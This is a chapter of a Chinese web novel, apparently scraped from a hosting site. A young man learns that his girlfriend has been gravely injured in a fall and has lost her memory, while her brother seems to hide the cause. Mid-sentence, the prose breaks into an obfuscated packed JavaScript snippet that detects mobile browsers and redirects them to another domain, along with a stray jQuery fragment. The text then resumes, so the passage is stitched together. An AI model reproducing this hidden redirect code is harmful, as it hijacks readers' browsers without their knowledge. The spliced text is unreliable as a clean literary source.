“老师,怎么回事?”
秦时推门而入,刚想说话看到老师比的手势又乖乖闭上嘴巴,
小声走到病床旁。
焦急地问道:“阿怜怎么了?怎么突然生病了?”
他扫视一圈,只有老师和阿怜。
“陆吾呢?怎么只有你一个人?”
蒋砚明看着阿怜,道:“高烧不退,一身的伤。”
秦时看着昏迷不醒的阿怜,脑子里一堆问号。
“怎么反倒是从无人区回来弄了一身伤,还高烧不退?”
“对了,陆吾呢?怎么阿怜生病没看见他?”
蒋砚明摇了摇头,道:“我是在林子里发现的她,没看到陆吾。”
“什么情况啊?陆吾竟然放着生病的阿怜不管不顾。”
秦时掐着腰,这怎么一回来个个都有事情。
“安安也是,我给她打电话也不接,也不知道是不是还在剧组里。”
蒋砚明没有回答。
缓了缓道:“你能联系上他吗?”
“谁啊?陆吾吗?”
“怎么可能会联系上他,神出鬼没的,鬼都不知道他在哪儿!”
说罢叹口气,看着老师担心的样子,口气缓了缓道:“有医生在,阿怜不会有什么事儿的,至于陆吾,他肯定不会放下阿怜不管的,放心吧,说不定等会儿他就出现在窗户外面了。”
“嗯。”
他的视线从未从阿怜身上离开。
秦时搬了把凳子放在蒋砚明身后。
“老师,你坐下休息一会儿,别担心。”
见老师不动,秦时按着他的肩膀将他按在座椅上。
“我出去给她买点粥,等她醒来刚好可以喝上。”
“老师你也没吃饭呢吧?我——”
算了,还是不问了。秦时看着老师背影,轻声将门带上。
不久。
秦时手里提了一堆东西,光是粥就买了四五种,阿怜正生着病,那些荤菜还是先不要吃了。
他低着头,盯着自己手里的饭菜,一双皮鞋出现在眼前,他往左边挪了挪,皮鞋的主人也跟着挪到他正前方。
“啧。”
他又往右挪了挪。没想到皮鞋的主人又跟着他挪。
他站在原地,算是看明白了。
“你有病吧!”
他抬起头,一脸怒气。
“安,安,安诚?”
突然意识到刚刚说了不礼貌的话,立马堆起笑脸,比变脸都要精湛。
“哥,呵呵——”
秦时一边咒骂自己没出息,一边跟个狗腿子一样示好,毕竟安安父母去世,自己想要安安稳稳地娶安安,必须要这个大舅哥点头。
安诚上下打量着面前这个人,这是他第一次正眼瞧他,一想到自己竟然输给了这种人,他恨不得将他碎尸万段。
他没有说话,转身向另一个方向走去。
秦时也不知道怎么了,不由自主跟在安诚身后,保持一米距离。
看着安诚停下,秦时也赶紧停下脚步,看着病房门,不知道这位未来的大舅哥搞什么名堂。
“那个,安安还好吗?我给她打电话她没接。”
他现在只想见到安安,而不是跟着安诚在医院溜达。
安诚还是没有说话,只是将病房门打开,径直走了进去。
秦时皱着眉头,实在是不喜欢这位大舅哥,可还是乖乖跟着进去了。
一进门,便看到安风穿着病号服坐在病床上,脸色苍白,嘴唇没有一点儿血色,乌黑卷发被全部剃光,整个脑袋上缠着白色纱布。
“安安!安安!你怎么了?”
秦时手里的粥掉落在地,一把推开在他身前的安诚,冲到安风身边。
“啊!啊!”
安风却疯狂大叫,拼命往旁边躲。
“安安,安安是我啊!秦时!”
秦时看着惊恐万分的安安,她的眼睛是骗不了人的,她在害怕自己。
“哥哥——哥哥——”
安风突然像看到救命稻草一样,朝着安诚伸出双手。
安诚一把将秦时拉开,坐在床边,牵住安风递来的双手。
“哥哥——”
安风小声叫着哥哥,将头埋在他的怀里。
安诚搂着她,眼睛却看向一旁的秦时,嘴边是不易察觉的微笑。
“怎么回事?安安到底怎么了?”
“她怎么受这么严重的伤?”
“还有,她怎么好像很害怕我?”
秦时走到床边,安风应激般往后躲,他见状只好退后。
“我不去,我不去,你不要害怕。”
他看着安安像看见鬼一样躲着他,整个人好像破碎的花瓶,只是被纱布粘连在一起,随时都可能会再次碎掉。他扭过头轻轻拭去眼角的泪。
“发生什么了?她怎么会变成这样?”
他的声音很轻,生怕一个不小心再次吓到她。
安诚看着秦时,瞳孔骤变,依旧面不改色。
道:“从楼上摔下来了。”
“怎么会摔下来呢?在哪儿摔得?怎么会摔下来呢?她——”
在对上安诚的眼睛时他立刻闭上了嘴巴。
“对不起,我太着急了。”
“我——”
“你可以出去了。”
安诚看着他,将安风搂的更紧了些。
“我不能走,安安受这么重的伤,我得留下来照顾她。”
秦时搓着手,想上前又不敢。
安诚侧着头,看着埋在自己胸口的安安,小声询问:“你要他留在这儿照顾你吗?”
安安刚刚平复的心情又立刻激动起来。
“不要!我不要!我只要哥哥。”
安诚以胜利者的姿态看向他。
“好好,你不要激动,我走,我走。”
秦时在原地转了几圈才找到正确的方向,冲了出去。
门关上那一刻,他立刻坐在地上大哭起来,不顾旁边人来人往的目光。
“安安——安安——”
“对不起——对不起——”
他不停捶打自己的胸口,如果自己回来的再早一些,如果自己没有那么叛逆早早听父母的话在靖南市安稳待着,安安是不是就不会发生这样的事情了。
“对不起——是我——怪我——”
旁边人停下驻足观看,不知道是什么让一个年轻力壮小伙子哭得这么惨。
一位年轻妇人蹲在他身边,将一包纸递给他,安慰道:“节哀顺变。”
秦时突然停下哭泣,看着面前的妇人将她推倒在地。
“你才死了呢!你全家都死了!”
妇人赶紧起身,对着他咒骂道:“你个死人鬼,我好心安慰你,你妈b的还诅咒我。”
妇人拿起手里的包框框往秦时身上砸,毕竟来医院的哪个提到死这个字眼都会应激。
秦时好像感受不到疼痛一般,任凭妇人如何打骂,他只是继续大哭。
他那样子,让许多不明真相的路人开始对妇人指指点点。
眼瞅着看戏的人越来越多,妇人收了手,骂道:“遇到你我真是倒了八辈子血霉了!”
赶紧抽身离去。
“都让开,该去哪去哪,别都围在这儿。”
一声清亮的女声,将周围看戏的人都疏散开。
一位四十多岁身穿白大褂的男医生走到秦时面前。
道:“你跟我来办公室一趟。”
秦时白了他一眼,继续抽泣。
医生并没有理会他的白眼,继续道:“我是安风的主治医师,要不要来随你。”
说完便转身离开了。
秦时愣在原地,突然站了起来,小跑跟在医生后面。
办公室内,只有他们两人。
“医生,安安到底怎么了?”
秦时围在桌子旁边,一脸着急。
“我姓徐。”
“徐医生,安安到底怎么了?”
徐医生倒是很平静,示意秦时坐下。
“你先坐下,把脸擦擦,我们慢慢说。”
秦时直接跑到徐医生脸前,差点脸贴脸。
“我慢不了,你快点给我说说安安怎么回事!”
他一把打掉徐医生递过来的纸巾。
见徐医生没有开口的意思,他退回去坐在椅子上。
“你赶紧说!”
徐医生这才坐直了身子,胳膊撑在桌子上。
“她呢,从高处跌落,身上多处骨折,内脏出血,头部最为严重,颅骨骨折,颅内出血,神经损伤。”
“不过送医及时,手术很成功,好好修养就能恢复。”
秦时听的很仔细,医生每说一句,他的后悔就多一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423804|165352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
分,如果自己留下来照顾她,肯定就不会发生这些意外了。
“不过,神经伤害是无法挽回的。”
徐医生说完看着秦时。
“什么意思?你不是说手术很成功吗?”
秦时站了起来,面露不悦,什么狗屁医生,说话前后不一。
“你先别急,受伤的地方我们肯定会医治好的,只是她受了重创,伤到了神经——”
“你他妈能不能说人话!”
秦时一掌拍在桌子上,他实在是不想再听这个医生逼逼。
徐医生扶了扶眼镜,椅子往后退了退,一个安诚,一个副市长儿子,可真是难伺候。
“简单来说,就是失忆。”
“什么?!”
秦时愣在原地,这不是小说才有的情节吗?怎么会失忆呢?她怎么会失忆呢?
他盯着面前的医生,试图从他脸上找到说谎的证据。
“她怎么会失忆呢?”
“脑部受到重创,伤到脑神经,就,就失忆了,在医学中还是很常见的。”
徐医生又把椅子往墙边靠了靠,生怕眼前的人冲动。
“那她什么时候能恢复?”
“不一定。”
秦时跨步站在医生面前,居高临下看着他。
“什么叫做不一定?!你不是医生嘛!”
徐医生慢慢从椅子上站起来。
“那个,你先别激动,失忆这种事现在医疗条件还无法攻克,可能明天就想起来了也不一定。”
“那个,你,你别着急,安总已经请了全球最好的医生为她会诊。”
说完,顺着墙根挪到一旁。
“我。我给你接杯水,你坐下慢慢说。”
秦时一屁股瘫在椅子上,原来她是因为失忆才那么害怕自己的。
可是她都不认识自己了,该怎么办?
秦时无奈闭上眼睛,原本以为从无人区回来两人就可以好好在一起,可是现在安安一点儿都认不出自己了,以前两人经历的种种凭空消失,那自己该怎么办?
“怎么才能让她记起来?”
他像是在自问自答。
医生端着水杯放到他面前。
“我劝你还是顺其自然。”
秦时看着他,微微一愣,短暂的失神后,眼睛突然瞪大。
“如果像电视剧里那样带她重温以前经历过的事情,能不能让她想起来?”
“千万不要这样,她刚刚经历了大手术,身体最少要修养三年五载,你可千万别刺激她,不然可能——”
后面的话医生没说,可秦时还是听懂了的。
过了很久,他才恢复面上的平静。
“没关系,失忆而已。”
没关系的,就当是重新回到了五年前,回到曾经我们刚刚认识的时候。
老天一定是觉得我追你追的太草率太不认真了,所以让现在的我再重新追求你一次。
没关系的,受了那么重的伤能安然无恙的活下来已经很好了,失忆没事的,真的没事的。
“没事的,没事的。”
他不停重复,不停安慰自己,直到脸上艰难地扯出一个很难看的笑。
“她只要平安就好。”
徐医生看着他这样子,叹了口气。
“其实——”
咚咚——
敲门声打断医生的话。
门被推开,安诚站在门口。
“我和徐医生有话说,麻烦你先出去一下。”
秦时看着门口的安诚,自己也了解的差不多了,便起身出门。
两人插肩而过时,秦时看向他,只见他嘴角总有一抹似有似无的笑,回头又觉得是自己的幻觉,安诚怎么可能会对着自己笑呢?
他轻轻关上门,从办公室出来后他已经平静了一半,是的,什么都没有她的平安重要,他不敢去想如果她没有被救回来自己会成什么样子,那样的结果他根本就无法承受。
现在的秦时是24岁的秦时,而安安是19岁的安安,他要好好爱她,好好弥补她,不能再去做傻事,而是承担起照顾她的角色。
可是这样的结果是被迫的,他不想接受却不得不接受,其实他根本就想不明白怎么就会失忆了呢,可是这么短的时间他不得不逼着自己想明白。
他抬起头,盯着天花板,鼻子酸的很,一滴眼泪顺着眼角流下来。